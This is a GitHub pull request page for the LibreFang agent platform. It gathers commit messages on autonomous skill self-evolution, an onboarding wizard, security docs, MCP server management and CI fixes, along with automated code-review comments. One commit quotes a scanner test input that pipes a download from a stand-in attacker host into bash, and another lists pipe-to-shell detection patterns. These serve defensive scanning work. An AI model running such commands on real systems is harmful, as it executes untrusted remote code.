feat(dashboard,docs): first-run wizard, security docs, nav surfacing#2704
Conversation
Enable agents to autonomously create, update, and refine skills based on their execution experience — inspired by hermes-agent's approach but with Rust-native improvements. Core evolution module (evolution.rs): - create/update/patch/delete/rollback operations for PromptOnly skills - 5-strategy fuzzy matching (exact → line-trimmed → whitespace-normalized → indent-flexible → block-anchor) tolerant of LLM formatting variance - Version history tracking with .evolution.json metadata - Rollback snapshots in .rollback/ directory - Supporting file management (references/templates/scripts/assets) - Atomic writes (temp file + rename) preventing partial files on crash - Security scanning on all mutations with auto-rollback on critical threats Registry enhancements: - reload_skill() for hot-reload after evolution (works even when frozen) - evolve_update/evolve_patch/evolve_rollback convenience methods - skills_dir() getter for tool implementations Runtime integration: - 5 new agent tools: skill_evolve_create, skill_evolve_update, skill_evolve_patch, skill_evolve_delete, skill_evolve_rollback - Skill evolution guidance injected into system prompt - skill_evolution_suggested flag on AgentLoopResult (5+ tool calls) Kernel wiring: - Auto-detect skill_evolve_* tool usage and hot-reload registry - Immediate availability of new/updated skills for subsequent messages API enhancement: - Rewrote create_skill endpoint to use evolution module with proper validation, security scanning, and auto-reload
…ance - Expand verify.rs threat detection from ~20 to 80+ patterns across 12 categories: injection, exfil, reverse shells, persistence, obfuscation, supply chain, config tampering, destructive ops, privilege escalation, hardcoded secrets, invisible unicode - Add skill_evolve_write_file / skill_evolve_remove_file tools for managing supporting files (references/, templates/, scripts/, assets/) - Rewrite skill section in system prompt with mandatory loading language: "MUST load" guidance, <available_skills> wrapper, category grouping - Group skill index by category (from tags) in kernel build_skill_summary - Add write_supporting_file/remove_supporting_file/list_supporting_files to evolution.rs with path traversal protection and 1MiB size limits
…etail API
Background skill review system:
- Spawn async background LLM call after complex tasks (5+ tool calls)
- Review prompt asks LLM to evaluate if approach is worth saving as skill
- Auto-creates skills from review response without blocking main conversation
- Hot-reloads registry after successful background skill creation
Platform filtering & disabled skills:
- skill_matches_platform() checks manifest tags against current OS
- set_disabled_skills() / is_disabled() for global skill blacklist
- load_skill() skips disabled and platform-incompatible skills
External skill directories:
- load_external_dirs() scans additional read-only skill directories
- Local skills take precedence over external ones with same name
- Auto-converts SKILL.md format in external dirs
Skill detail API endpoint:
- GET /api/skills/{name} returns full skill info
- Includes linked_files, evolution history, version tracking, tags
- Exposes use_count and evolution_count metrics
- Add ?category= query param to GET /api/skills for filtering by tag - Return categories[] array in list response for UI category navigation - Add SkillConfigVar struct + extract_skill_config_vars() + discover_all_config_vars() for scanning skill [config] declarations across all installed skills
Bug fixes: - Fix SemVer version parsing using semver crate (handles pre-release/build metadata) - Fix JSON extraction from LLM responses using balanced brace matching - Fix frontend race condition with mounted ref and AbortController Concurrency: - Add file locking (fs2) to all skill mutation operations - Replace global cooldown AtomicI64 with per-agent DashMap cooldown Performance: - Rewrite security scanner with Aho-Corasick multi-pattern matching (O(N+M) vs O(N×M)) - Deduplicate pattern match warnings Error handling: - Add retry with exponential backoff for background skill review - Record review failures in audit log - Localize frontend API error messages Security: - Strengthen directory traversal defense with full-path canonicalization Tests: - Add SemVer bump tests (pre-release, build metadata, fallback) - Add file locking and concurrent access tests - Add directory traversal defense tests - Add supporting file management tests - Add JSON extraction tests (code blocks, nested braces, malformed) - Add Aho-Corasick deduplication test - Expand verify.rs test coverage (12 new tests)
Compile errors - tests.rs: replace non-existent `Kernel` alias with `LibreFangKernel` - tests.rs: switch single-hash raw string to r##""## — the JSON body contained `"#` which prematurely terminated the literal - kernel/mod.rs: audit_log.record() now passes all four required args Skill evolution correctness - try_normalized_replace: multi-match check was substring-based, which falsely fired "Multiple matches" when old_str appeared as a substring inside a longer line (but never matched whole-line). Switched to a two-pass line-based counter so unmatched line patterns cleanly fall through to the next fuzzy strategy - save_rollback_snapshot: timestamp precision was 1 second; rapid patch → rollback → patch chains silently overwrote snapshots. Now embeds nanoseconds + pid, plus a collision dedupe suffix - rollback_skill: sort snapshots by file_name (matches the new format) Concurrency - Move per-skill lock file out of the skill directory to a sibling `.evolution-locks/<name>.lock`, so delete_skill can hold the lock across remove_dir_all without Windows file-handle interference - delete_skill: acquire the lock (was the only mutation without it); re-check existence under the lock to handle delete-delete races - try_claim_skill_review_slot (kernel): atomic DashMap entry() CAS closes the old check-then-insert race; map is purged when it grows past SKILL_REVIEW_COOLDOWN_CAP so long-lived kernels don't leak Background skill review - Retry policy is now error-aware: transient failures (timeouts, rate limits, network, 429/503/504) retry with exponential backoff; permanent failures (parse/validation/security-blocked) fail fast - Unknown action values from the reviewer LLM are info-logged and skipped instead of silently ignored - summarize_traces_for_review: for long tool sequences, include both head and tail slices with an elision marker — tail often carries the convergence insights the reviewer needs Supporting-file management - list_supporting_files: walk subdirectories recursively (depth- limited to 16, symlinks not followed). Nested files created via write_supporting_file were previously invisible - remove_supporting_file: prune empty ancestor directories upward to the skill root, not just the immediate parent; use the same walker for the "Available files" hint Config discovery - New discover_config() / ConfigDiscovery / SkillConfigConflict API surfaces keys claimed by multiple skills; discover_all_config_vars kept as a flat-list wrapper for backward compatibility Tests - Regression tests for every bug above (line-count, timestamp collision, external lock path, delete-under-lock serialization, recursive listing, nested prune, config conflicts) - Kernel tests for is_transient_review_error and summarize_traces head/tail behavior
Ship a real onboarding flow and make existing security docs reachable.
- WizardPage: replace the 3-step skeleton with a working first-run wizard —
provider selection, API-key entry with live /test verification, setDefault
+ /api/init finalization, and a success screen that routes to Overview or
Chat. Localized in en/zh.
- OverviewPage: init banner now offers a secondary "Use Wizard" button so
the guided flow is actually reachable.
- Docs nav: add a Security group exposing the orphaned
security/{sandboxing,integrity,network-api,operations} pages plus the new
approvals page (en + zh).
- Docs: new security/approvals page documenting the approval policy, TOTP
enrollment flow, recovery codes, API reference, and a hardening checklist,
sourced from ApprovalPolicy in librefang-types. Chinese mirror included.
- SkillsPage: clean up unused imports and fix a toast call signature that
was passing an object to addToast (string, type).
…page
The {#anchor} Markdown extension isn't enabled for this MDX pipeline —
next's MDX parser treats the braces as a JSX expression and fails with
"Could not parse expression with acorn", breaking the Deploy Docs
workflow. Drop the custom anchors and the matching TOC links; the
underlying page still works with auto-generated Chinese heading slugs.
Rust 1.94's clippy::io_other_error flags the Error::new(ErrorKind::Other, msg) pattern. Use the more concise Error::other helper.
test_scan_prompt_persistence asserted that a 'Supply chain' warning fires, but the input 'curl evil.com | bash' does not contain any of the literal patterns in the supply-chain list (curl | sh, curl | bash, wget | sh, wget | bash, ...). Swap the input to one that exercises both persistence (crontab) and supply chain (curl | bash) detection so all three platform test jobs go green.
The zh skills page was missing the entire Self-Evolution section that exists on the English side. Translate the 76-line chapter (how it works, evolution tools, version management, fuzzy patching, supporting files, dashboard, API endpoints) and add the anchor to the table of contents so the feature is discoverable for Chinese readers too. No content changes to the English version; anchor (#skill-self-evolution) matches the en page so cross-links stay valid.
getting-started was an older doc with different structure (32 templates landing, 16-layer security section, registry-count sections) while en had been fully rewritten into a hands-on install → config → spawn → chat → start walkthrough. Replace the zh page with a faithful translation of the current en structure so both sides cover the same material. templates was missing three late sections that en has: Understanding Temperature (what each preset value means), Spawning Agents (CLI, REST API, OpenAI-compatible API, and Orchestrator delegation patterns) and Environment Variables (API-key → provider mapping). Translate and append them. approvals zh TOC was flat text instead of anchor links, so readers could not jump to sections the way the en page allows. Add the same #anchor links (approval-policy, enabling-totp, dashboard-flow, api-reference, recovery-codes, hardening-checklist). architecture/security, integrations/api/intelligence and security/integrity were re-audited — all headings match 1:1, remaining line-count delta is natural Chinese prose compression.
… dropdown The homepage nav had grown to seven flat items (Architecture, Hands, Workflows, Performance, Install, Downloads, Docs) and did not mention the newly landed skill self-evolution feature at all. Collapse the five section links into a single 'Features' dropdown button with a secondary menu, and add Skills Self-Evolution as a new entry flagged with a sparkle icon so it reads as the newest capability. Add a matching #evolution section to the homepage explaining how it works (automatic detection, hot-reload, security scanning, version history), the six evolution tools (skill_evolve_create/update/patch/rollback/ write_file/delete), and a link through to the skill evolution chapter in the docs. Nav labels and the whole evolution section are localized across all seven locales (en, zh, zh-TW, ja, ko, de, es) so nothing falls back to English. Mobile menu lists the Features group above the flat links with the same Sparkle marker on the evolution entry. registry.json changes are the prebuild fetch pulling in two new upstream hands (devteam, wiki) — unrelated to the nav change but regenerated as part of the same build.
Adds /skills, /mcp, /plugins, /hands, /agents, /providers, /workflows, /channels pages to the homepage, one per registry category, each listing items straight from github.com/librefang/librefang-registry. To avoid GitHub 403s from per-visitor traffic, all runtime reads go through the existing stats.librefang.ai CF worker. Extend both the worker's /api/registry endpoint and the build-time scripts/fetch- registry.ts so every category — not just hands and channels — gets full TOML details: agents (AGENT.toml), skills (SKILL.toml), plus the file-based providers/workflows/plugins/integrations/channels/mcp. Scheduled daily refresh batches TOML fetches in groups of 10 and short-circuits when directory counts are unchanged. RegistryPage is a single generic component that takes a category prop and renders a searchable/category-filterable grid with localized descriptions. Handles loading, error, empty-category (CTA to contribute on GitHub), and no-search-match states. Popular items float to the top. useRegistry schema upgraded: all 9 category arrays (hands, channels, providers, integrations, workflows, agents, plugins, skills, mcp) are optional with .default([]) so stale clients/workers don't break. Added getCategoryItems helper so pages read via category name. Nav: Features dropdown now lists the 8 registry pages (Skills flagged with sparkle as newest). Hands link is both a homepage anchor and a registry page — the dropdown wins for discoverability; on-page Hero and #hands section continue to work. Mobile nav mirrors the same entries. i18n for all seven locales (en/zh/zh-TW/ja/ko/de/es): category titles, descriptions, page labels (loading/error/empty/etc). No English fallback in any locale. registry.json rebuild pulled in 60 newly-exposed skills from the registry (mcp category returns 0 gracefully — shows contribute CTA). SPA routing already handled by web/public/_worker.js's 404 fallback to index.html, which is why a new deploy just picks up the new routes without a _redirects change.
Registry data would be up to 24h stale because only the scheduled cron touched the full KV entry — the /api/registry fast path just returned a names-only snapshot without triggering any refresh. Flip the logic: - Fresh (< 1h): return KV directly. - Stale (1h–24h): return KV immediately, kick off refreshRegistryCache in ctx.waitUntil so the NEXT request is fresh. - Cold start / explicit ?refresh: run refreshRegistryCache inline and return the result. First visitor pays the latency, but it's one-off; subsequent visitors hit a populated cache. - refresh failure falls back to any existing KV (stale), or 503 with an empty shell so the client's build-time registry.json side of the merge still renders. Daily scheduled cron is now just a safety net for when the site gets zero traffic for a long time, not the primary refresh path.
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: 1ad610c4a0
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
pnpm/action-setup@v6 was merged into main via dependabot PR #2700. In practice it ignores its `version` input and installs pnpm 11.0.0-beta.4-1 regardless (whether you pass `10`, `10.x`, or a pinned patch). pnpm 11 beta's YAML parser throws `ERR_PNPM_BROKEN_LOCKFILE: expected a single document in the stream` on the v9 lockfiles we have. Every Deploy Docs / Deploy Website run across multiple branches has failed since. Drop pnpm/action-setup entirely. `corepack enable` before setup-node; corepack reads the `packageManager` field from each package.json (docs/package.json -> [email protected], web/package.json -> [email protected]) and activates that exact version. setup-node@v6 `cache: pnpm` still works because corepack provides the pnpm shim. Future pnpm bumps go through a deliberate packageManager change, not silent drift on GitHub runners.
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: 58cf70001f
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
…es-ui-docs-BjltO # Conflicts: # crates/librefang-api/src/routes/system.rs # crates/librefang-extensions/src/registry.rs # crates/librefang-runtime/src/registry_sync.rs
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: 02b59efc66
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
…ync, duplicate guards Another round from codex-connector on #2704, focused on the MCP refactor. Each fix is load-bearing for a feature the branch claims to have shipped; several would return "success" while leaving the system in a broken state. Kernel: - migration: reload config.toml from disk ONLY when the migrator reports it actually wrote something. Unconditional reload could silently swap the caller's in-memory config (non-default path, programmatic build) for whatever happens to be on disk. (#44) - HotAction::ReloadMcpServers now diffs the old/new server sets and register/unregister-s entries in mcp_health accordingly — otherwise newly added servers skip the health registry (report_ok is a no-op for unknown IDs) and removed servers leave stale entries behind, so /api/mcp/health under-reports until restart. (#49) API routes (skills.rs): - install_extension calls reload_config() between writing config.toml and reload_mcp_servers(), so the fresh [[mcp_servers]] entry is actually visible on the connect pass instead of missing from the in-memory snapshot. (#50) - uninstall_extension does the same so reload_mcp_servers() doesn't cheerfully reconnect the server we just deleted. (#51) - upsert_mcp_server_config / remove_mcp_server_config now propagate TOML parse errors instead of unwrap_or_default-ing — writing back an empty table on malformed input would nuke every unrelated config section. Same pattern as the CLI fix. (#47 sibling) Runtime: - mcp_migrate: same unwrap_or_default -> error propagation in the migration's config.toml upsert path. Destructive data loss otherwise when legacy files exist alongside a partially-broken config.toml. (#48) CLI: - librefang mcp add <name> rejects re-install when a server with the same name or template_id is already in config.toml, matching the API path's 409 behavior. The old helper silently replaced the entry via upsert-by-name, wiping edited transport/env/oauth. Also fails fast on malformed config.toml before running the installer. (#53) Verified compile via cargo check --workspace --lib (exit 0).
**CI (#17, #28, #55)**: move `corepack enable` to run AFTER `actions/setup-node` in all four workflows (deploy-web, deploy-docs, lighthouse, test-web). Corepack shims are installed into whichever Node lives on PATH at the time; running it first means setup-node later switches to a different Node install that lacks the shims, causing intermittent `pnpm: command not found` failures. **Web (#34)**: registry detail page now tries both MCP manifest layouts — flat `mcp/<id>.toml` (legacy, still the majority) and directory-backed `mcp/<id>/MCP.toml` (new, multi-file packages) — matching what `web/scripts/fetch-registry.ts` already accepts. The resolved path (whichever candidate returns 200) is what the "View on GitHub" and commit-history lookups use, so those links always point at the file the user is actually viewing. Extracted `pathCandidatesFor` and `fetchFirstAvailable` into `web/src/lib/registry-raw.ts` so the list page's hover-prefetch and the detail page's real fetch share one cache entry and one source of truth for path layout. Dropped the redundant `fileNameFor` field from `CATEGORY_META` — it duplicated the same knowledge.
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: 62d0f616f0
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
| pub async fn reload_integrations(State(state): State<Arc<AppState>>) -> impl IntoResponse { | ||
| match state.kernel.reload_extension_mcps().await { | ||
| pub async fn reload_mcp_handler(State(state): State<Arc<AppState>>) -> impl IntoResponse { | ||
| match state.kernel.reload_mcp_servers().await { |
There was a problem hiding this comment.
Reload config before reconnecting MCP servers
POST /api/mcp/reload directly calls reload_mcp_servers() without first calling reload_config(), but reload_mcp_servers() reads from the in-memory config snapshot. In this commit, librefang mcp add/remove now edits config.toml locally and then posts /api/mcp/reload, so a running daemon can ignore those new on-disk changes and report success while not actually connecting/disconnecting servers until a separate config reload or restart.
Useful? React with 👍 / 👎.
| let result = match librefang_extensions::installer::install_integration( | ||
| &cat, | ||
| &mut resolver, | ||
| &entry.id, | ||
| &creds, |
There was a problem hiding this comment.
Check for duplicate server before template install side effects
The template-install path invokes install_integration(...) before the duplicate-name guard runs, and that installer stores provided credentials in the vault as a side effect. If the server is already configured, this handler returns 409, but it may already have overwritten secrets, which makes a failed install request mutate runtime credentials unexpectedly.
Useful? React with 👍 / 👎.
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: 84f97fc4a0
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
| let client = daemon_client(); | ||
| match client | ||
| .delete(format!("{base_url}/api/integrations/{id}")) | ||
| .delete(format!("{base_url}/api/mcp/servers/{id}")) |
There was a problem hiding this comment.
Uninstall extensions via template-aware endpoint
This delete call uses id from the Extensions list, but that id is populated from catalog entry.id (template id), not guaranteed to be the configured MCP server name. The backend explicitly supports name/template divergence when uninstalling (template_id -> server name resolution in /api/extensions/uninstall), so calling /api/mcp/servers/{id} can 404 and leave installed entries undeletable when names differ (for example raw-authored entries with template_id set).
Useful? React with 👍 / 👎.
| sha: { type: string } | ||
| author: { type: string } | ||
| date: { type: string, format: date-time } | ||
| message: { type: string } |
There was a problem hiding this comment.
Allow nullable commit fields in OpenAPI schema
The worker returns { sha: null, date: null, message: null } when no commit exists for a path, but this schema constrains those fields to non-null strings/date-time. Strictly generated clients will treat valid runtime responses as schema violations, especially on newly added or missing files where nulls are expected.
Useful? React with 👍 / 👎.
…ayload alignment Third Codex batch on #2704, focused on the stats worker + its published contract. **SKILL.md YAML parsing (#52)**: skill manifests are routed through `fetchSkillMd`, a YAML-frontmatter-aware parser mirroring the one in `web/scripts/fetch-registry.ts`. The previous wiring pushed `SKILL.md` through `fetchToml`, which only recognizes `key = "value"` TOML pairs — so every skill entry in the worker's cache had an empty id/name/ description and new skills never surfaced through `/api/registry` until a full rebuild. **Signature-based cache invalidation (#29)**: the refresh used to skip manifest fetches whenever counts were unchanged, so any content-only edit (description, tags, i18n) or one-for-one item swap left the live API stale indefinitely. We now hash `name@sha` across every listed item and compare the concatenated signature; any upstream change bumps it, so the manifest fetch actually runs and fresh metadata propagates. **OpenAPI response alignment (#35, #36)**: - `GET /api/errors` returns `{ errors: [...] }`, not a bare array; schema now matches. Clients generated from the old spec were iterating the top-level object and crashing at runtime. - `GET /api/releases` passes GitHub's release JSON through verbatim. The published schema pretended the payload was transformed to `{ tag, publishedAt, url, downloads }`, but the handler never does that transform. Updated to document the real GitHub shape (`tag_name`, `published_at`, `html_url`, `assets[]`) so generated clients read the fields that actually exist. - `ErrorReport` fields also aligned with what `handleErrorReport` actually accepts (`pathname`, `lang`, `ua`, `at`) instead of the never-implemented `url`/`userAgent`/`timestamp`/`build`.
…detail cache key Fourth Codex batch on #2704 — smaller correctness items before the skill-evolution subsystem fixes. **App routing (#22)**: `App.tsx` now matches deploy/changelog paths with a locale-prefix-tolerant regex, so `/zh/deploy`, `/de/changelog`, etc. hit the real pages instead of falling through to the homepage 404. Previously only the bare `/deploy`/`/changelog` forms worked, breaking every hreflang alternate the site generates. **Metrics page (#40)**: categories returned by the worker that the SPA has no route for (notably the legacy `integrations` emitted before the MCP rename) render as plain rows instead of clickable links, so users don't click into a guaranteed 404. **Skill detail cache key (#20)**: `SkillsPage` now caches detail data under `skillKeys.detail(name)` (added `details()` and `detail(id)` to the factory in `lib/queries/keys.ts`). The old `['skill-detail', name]` namespace lived outside `skillKeys.all`, so mutations' `invalidateQueries(skillKeys.all)` never refreshed open detail modals — users saw stale metadata after install/ update/delete until a manual refresh. Re: #18 — verified stale in the current tree; both `list_skills` and `get_skill_detail` already read from `kernel.skill_registry_ref()` so there is no disk/memory divergence for Codex to flag. No change needed.
… key overwrite **Hook-layer conformance (#19, #54)**: WizardPage now imports from `lib/queries/providers` and `lib/mutations/providers` instead of calling `api.ts` functions directly. That brings it in line with the contract in `dashboard/AGENTS.md` — centralised staleTime, shared query keys, and onSuccess invalidations. The direct-call path was diverging from the rest of the dashboard on provider cache behaviour every time the shared hooks were tuned. **Guarded overwrite of a working key (#9)**: when the selected provider already has `auth_status = ready` and the user types a new key, a warning checkbox must be acknowledged before the Connect button is enabled. Previously the wizard wrote the new key first and then ran the test; a typo destroyed the working credential with no recovery path (the backend only reads from env/vault — it has no rollback). The checkbox forces explicit consent so a mistyped key doesn't silently brick a working install. Any edit in the input resets the confirmation so stale approvals don't carry over to different strings.
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: df94ee4112
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
| if (hasEnv) { | ||
| const defaults: Record<string, string> = {}; | ||
| for (const e of tpl.required_env ?? []) defaults[e.name] = ""; | ||
| setEnvInputs(defaults); |
There was a problem hiding this comment.
Omit blank credential fields before template install
When a catalog template has required env vars, this pre-fills every key with an empty string and the install flow later posts envInputs directly. If a user leaves any field blank, those empty values are still sent; the backend install path stores provided credentials and treats key presence as satisfied, so blank entries can overwrite existing vault secrets and still return a successful install state. Filter out empty values (or require non-empty required fields) before submitting credentials.
Useful? React with 👍 / 👎.
| if !path.is_file() { | ||
| continue; | ||
| } | ||
| let id = match path.file_name().and_then(|n| n.to_str()) { | ||
| Some(n) if n.ends_with(".toml") => n.trim_end_matches(".toml").to_string(), |
There was a problem hiding this comment.
Load MCP catalog entries from directory-based layouts
This loader only reads top-level files and derives IDs from <name>.toml, skipping directory entries entirely. The registry now also uses directory-backed MCP manifests (mcp/<id>/MCP.toml, which this same commit’s web fetcher supports), so those templates are silently dropped from the in-memory catalog and never appear in /api/mcp/catalog or CLI catalog install flows. Add directory-aware parsing (or flattening) so both manifest layouts are discoverable.
Useful? React with 👍 / 👎.
| plugins: z.array(DetailSchema).optional().default([]), | ||
| skills: z.array(DetailSchema).optional().default([]), | ||
| mcp: z.array(DetailSchema).optional().default([]), | ||
| handsCount: z.number().optional().default(0), |
There was a problem hiding this comment.
Preserve local counts when API omits registry count fields
Making count fields optional().default(0) causes missing API fields to parse as 0, which defeats the later apiData.*Count ?? localData.*Count fallback. In partial/stale worker responses where count keys are absent, valid local registry.json counts get overwritten with zeros and the UI shows incorrect category totals. Keep these optional as undefined (or track presence explicitly) so fallback to local counts still works.
Useful? React with 👍 / 👎.
…ation Fifth Codex batch on #2704 — covers the skill-evolution subsystem (code the upstream PR #2694 shipped to main but that shows up in this PR's diff), plus the KV race on worker telemetry writes. librefang-skills (evolution.rs): - fuzzy_find_and_replace rejects empty old_string up front (#16). - update_skill / patch_skill re-verify skill_dir.exists() under the lock so concurrent delete_skill can't be resurrected (#3, #5). - delete_skill runs validate_name to reject path traversal (#12). - remove_supporting_file canonicalises + contains-checks the target (#6), matching write_supporting_file. - write_supporting_file scans content BEFORE writing (#7) so a rejected update doesn't destroy the pre-existing valid file. librefang-runtime (tool_runner.rs): - tool_skill_evolve_delete resolves the real installed skill's parent dir via registry.get() (#15) instead of unconditionally targeting the global skills_dir. librefang-types / librefang-kernel (approval policy): - Default require_approval list includes skill_evolve_* (#14). Updated serde `true`-shorthand + tests to match. librefang-kernel (kernel/mod.rs): - build_skill_summary sanitises the category key (#1) — tags are third-party data. - extract_json_from_llm_response tries every '{' instead of giving up after the first (#8). - Background skill review uses the agent's resolved driver and model for cost attribution (#13); falls back to defaults only when manifest resolution fails. worker (github-stats-worker/index.js): - Click counts sharded across 8 blobs, unioned on read (#39). - UI error reports sharded across 4 blobs plus legacy-key fallback for historical data (#41).
… pnpm Codex comments #17, #28, #55 asked us to move `corepack enable` after `actions/setup-node`, arguing that corepack's shims are bound to the pre-setup-node Node install. In practice the opposite is true: the `cache: pnpm` option on setup-node runs `pnpm --version` to compute the cache key during setup, so pnpm MUST be on PATH before that step. Putting corepack after setup-node fails every run with `Unable to locate executable file: pnpm` — which is what we saw on deploy-web, deploy-docs, lighthouse, and test-web after the previous commit. Modern setup-node (v6 + Node ≥22, which bundles corepack) preserves corepack shims across the Node swap, so one `corepack enable` up front is both necessary and sufficient. Restore the original ordering in all four workflows and leave a comment explaining why the Codex-suggested ordering doesn't work here.
There was a problem hiding this comment.
💡 Codex Review
librefang/crates/librefang-api/dashboard/src/pages/McpServersPage.tsx
Lines 76 to 80 in f2be1bd
This edit payload drops template_id, so updating an MCP server created from the catalog silently strips its provenance. handleSubmit sends formToPayload(form) to update_mcp_server, and the backend upserts the full McpServerConfigEntry; missing optional fields are reset, so the existing template_id is cleared. After a normal edit, the server no longer appears as catalog-installed (and related template-management UX/logic regresses) even though the user only changed transport/env settings.
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
| .config_ref() | ||
| .mcp_servers | ||
| .iter() | ||
| .filter_map(|s| s.template_id.clone()) | ||
| .collect(); |
There was a problem hiding this comment.
Mark name-colliding MCP servers as installed in catalog
/api/mcp/catalog computes installed from template_id only, so a manually configured server whose name matches a catalog id is reported as not installed. But install requests are rejected on duplicate names, so the UI can show an "Install" action that deterministically fails with 409. This creates a persistent false-available state for that catalog entry and breaks consumers that trust the installed flag as installability.
Useful? React with 👍 / 👎.
…hema nullability
Seven new findings Codex surfaced after the last push — mostly fallout
from earlier MCP refactor work.
**librefang-api (skills.rs)**
- `POST /api/mcp/reload` calls `reload_config()` before the reconnect
pass. CLI's `mcp add/remove` edits `config.toml` out-of-band and
then POSTs to this endpoint, so without the sync the reconnect
runs against the stale in-memory snapshot and misses the change.
- `POST /api/mcp/servers` template path runs the duplicate-name
check BEFORE `install_integration`. The installer writes to the
credential vault as a side effect; the old ordering returned 409
but left the caller's creds stored for a server they never managed
to register.
**librefang-extensions (catalog.rs)**
- `McpCatalog::load` accepts both flat-file (`<id>.toml`) and
directory-backed (`<id>/MCP.toml`) layouts. Mirrors what
`web/scripts/fetch-registry.ts` + the detail-page resolver already
do, so catalog load, live API, and UI agree.
**librefang-cli (tui/event.rs)**
- `spawn_remove_extension` routes through `POST /api/extensions/uninstall`
with `{ name: id }` instead of `DELETE /api/mcp/servers/{id}`. The
UI's extension id is the catalog `entry.id` (template_id), which
can diverge from the configured server name; the extensions
endpoint resolves either form, the MCP endpoint only the exact name.
**dashboard (McpServersPage.tsx)**
- Strip blank credential fields before submitting a template install.
The installer persists whatever it gets, so blank values land in
the vault and short-circuit the dotenv/env fallback on lookup.
**worker OpenAPI (openapi.yaml)**
- `CommitInfo` fields (`sha`, `author`, `date`, `message`, `url`) are
nullable — the worker returns nulls when no commit is found for a
path, and strictly-generated clients should tolerate that.
**web (useRegistry.ts)**
- Drop `.default(0)` from the count fields in the Zod schema. The
downstream merge uses `apiData.*Count ?? localData.*Count`; the
default masked undefined as 0 and clobbered valid local counts
whenever the worker response was partial/stale.
Codex #3104049434: `/api/mcp/catalog` only blocked a re-install when a configured server's `template_id` matched. A server manually added via a hand-edited `[[mcp_servers]]` block whose `name` happened to match a catalog id was reported as Available, so the UI rendered an Install button that would then 409 against the name-collision guard in `add_mcp_server`. Include every configured server's `name` in the installed-id set so the catalog view and the install endpoint agree on what's blocked.
There was a problem hiding this comment.
💡 Codex Review
librefang/crates/librefang-kernel/src/kernel/mod.rs
Lines 9596 to 9599 in 6ead875
reload_mcp_servers only attempts connections for names that are not currently connected (!already_connected.contains(&s.name)), so edits to an existing server’s transport/env/oauth in config.toml are ignored by POST /api/mcp/reload: the old connection remains active and the updated config is not applied. This makes reload effectively add/remove-only, despite being the advertised re-read/reconnect path.
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
Codex can also answer questions or update the PR. Try commenting "@codex address that feedback".
| .config_ref() | ||
| .mcp_servers | ||
| .iter() | ||
| .filter_map(|s| s.template_id.clone()) |
There was a problem hiding this comment.
Keep catalog detail installed check consistent with list
get_mcp_catalog_entry computes installed from template_id only, while list_mcp_catalog already treats either template_id or a name collision as installed. With a manually configured [[mcp_servers]] entry whose name matches a catalog id but has no template_id, the list endpoint reports installed but the detail endpoint reports not installed, so detail-driven clients can render an install action that deterministically fails the duplicate-name guard.
Useful? React with 👍 / 👎.
Codex #3104080207: `get_mcp_catalog_entry` still computed `installed` from `template_id` alone, while `list_mcp_catalog` already looked at name collisions too (#3104049434). Extract `collect_installed_catalog_ids` and call it from both handlers so the list and detail views stay in lockstep with the 409 name-collision guard in `add_mcp_server`.
`test_mention_only_*` tests in the outer `tests` module call `addressee_guard_enabled()`, which reads `LIBREFANG_GROUP_ADDRESSEE_GUARD` from the process environment. The nested `should_process_group_message_v2` module's `with_guard_on/off` helpers set and clear that same variable, serialized on a local `ENV_LOCK` inside the nested module only. Under `cargo test --lib` parallel execution, the nested module's mutations would bleed over to the outer tests that don't acquire any lock, intermittently flipping `addressee_guard_enabled()` from false (expected default) to true mid-assertion. The symptom: two tests fail in a full-workspace run but pass when run in isolation. Move the Mutex up to the outer `tests` module and have both modules serialize on the same lock. Outer tests that assume the default guard state now also clear the env var before their bodies run.
There was a problem hiding this comment.
💡 Codex Review
librefang/.github/workflows/deploy-web.yml
Lines 51 to 55 in 2375f98
The job runs on pull_request and always executes cloudflare/wrangler-action with repository secrets. For PRs from forks, those secrets are not provided, so this step fails even when build/test steps pass, which makes external contributor PRs fail for an infra reason unrelated to code quality. Add a conditional like the docs workflow or split deploy from PR validation.
ℹ️ About Codex in GitHub
Your team has set up Codex to review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
